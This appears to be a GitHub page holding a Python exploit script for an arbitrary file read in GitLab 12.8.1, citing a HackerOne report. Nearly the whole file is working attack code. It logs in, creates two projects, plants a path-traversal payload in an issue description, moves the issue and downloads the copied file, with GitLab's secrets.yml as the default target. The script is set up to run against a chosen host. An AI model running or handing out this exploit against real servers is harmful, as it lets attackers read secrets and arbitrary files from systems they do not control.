-
Notifications
You must be signed in to change notification settings - Fork 0
/
exploitv3.py
107 lines (97 loc) · 4.86 KB
/
exploitv3.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
# Exploit Title: GitLab 12.8.1 - Arbitrary File Read
# Date: 2021-01-03
# Exploit Author: Anshajanth Yoganathan
# Vendor Homepage: https://about.gitlab.com
# Vulnerable version download: docker pull gitlab/gitlab-ee:12.8.1-ee.0
# Version: tested on gitlab version 12.8.1
# Tested on: Ubuntu 18.04 (but it's OS independent)
# CVE : -
# Reference : https://hackerone.com/reports/827052
import requests
import re
import urllib3
session = requests.Session()
session.verify = False
# config
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
host = 'http://localhost' #change it
username = 'vapt' #change it
password = 'Test@123' #change it
project_name1 = 'Anshajanth1'
project_name2 = 'Anshajanth2'
target_file_path='/opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml' #by changing the file path we can read any file in the server
file_name=target_file_path.split("/")
#csrf token finder
def findToken(url):
res = session.get(url)
csrf_token=((re.search(r"content=\".{88}\"",res.text)).group()).split("\"")
#print("CSRF Token For "+url+" = "+csrf_token[1])
return csrf_token[1]
#user login
def userLogin():
login_token=findToken(host+'/users/sign_in') # csrf token for sign_in endpoint
#print(login_token)
logindata={
'utf8=' : '✓',
'authenticity_token' : login_token,
'user[login]' : username,
'user[password]' : password,
'user[remember_me]' : 0
} #Login request Body
login_response = session.post(host+'/users/sign_in',logindata) #login request
if (login_response.text.find('Invalid Login or password') > -1): #login status check
print("login failed")
else:
print("you are logedin")
namespace_id_response=session.get(host+'/projects/new')
namespace_id=(re.search(r'\<.*project\[namespace_id\].*\s\/',namespace_id_response.text).group()).split("\"")
return namespace_id[1]
#create project
def createProject(project_name,namespace_id):
create_project_Token=findToken(host+'/projects/new')
#print(create_project_Token)
project_create_data={'utf8' : '✓', 'authenticity_token' : create_project_Token, 'project[ci_cd_only]' : 'false', 'project[name]' : project_name, 'project[namespace_id]' : namespace_id, 'project[path]' : project_name, 'project[description]' : '', 'project[visibility_level]' : 0}
create_project_response=session.post(host+"/projects",project_create_data) #create project request
#print(create_project_response.status_code)
if(create_project_response.text.find(project_name) > -1):
print("project "+project_name+" was created.")
else:
print("create filed")
#create issues
def createIssue(file_path):
payload='![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../..'+file_path+')'
create_issue_Token=findToken(host+'/'+username+'/'+project_name1+'/issues/new')
#print(create_issue_Token)
issuedata={'utf8' : '✓', 'authenticity_token' : create_issue_Token, 'issue[title]' : 'exploitable_issue1', 'issue[description]' : payload, 'issue[confidential]' : 0,'issue[assignee_ids][]' : '0', 'issue[label_ids][]': '', 'issue[due_date]' : '', 'issue[lock_version]' : 0}
create_issue_response=session.post(host+'/'+username+'/'+project_name1+'/issues/',issuedata) #create issue request
if(create_issue_response.text.find("exploitable_issue1"))>-1:
print("issue was created")
else:
print("issue creation was failed")
# move issue
def moveIssue(project_name):
project_id_response=session.get(host+'/'+username+'/'+project_name2)
project_id=(re.search(r'Project ID:\s\d*',project_id_response.text).group()).split(" ")
#print(project_id[2])
issue_list_response = session.get(host+'/'+username+'/'+project_name1+'/issues')
issuse_path1=((re.search(r'\/'+username+'\/'+project_name1+'\/issues\/\d',issue_list_response.text)).group())
create_moveIssue_token=findToken(host+issuse_path1)
#print(create_moveIssue_token)
issue_move_response=session.post(host+issuse_path1+"/move",json={'move_to_project_id':project_id[2]}, headers = {"X-CSRF-Token": create_moveIssue_token}) #move issue request
print("issue was moved")
# Read File
def readFile():
print("Reading internal file....")
issue_list_response2=session.get(host+'/'+username+'/'+project_name2+'/issues')
issuse_path2=((re.search(r'\/'+username+'\/'+project_name2+'\/issues\/\d',issue_list_response2.text)).group())
issuse_path2_responses = session.get(host+issuse_path2)
readFile_path=((re.search(r'\/'+username+'\/'+project_name2+'\/uploads\/.{32}\/'+file_name[-1],issuse_path2_responses.text)).group()) #-1 give list last element
view_file=session.get(host+readFile_path)
print(view_file.text)
print("exploit successed")
namespace_id=userLogin()
createProject(project_name1,namespace_id)
createProject(project_name2,namespace_id)
createIssue(target_file_path)
moveIssue(project_name1)
readFile()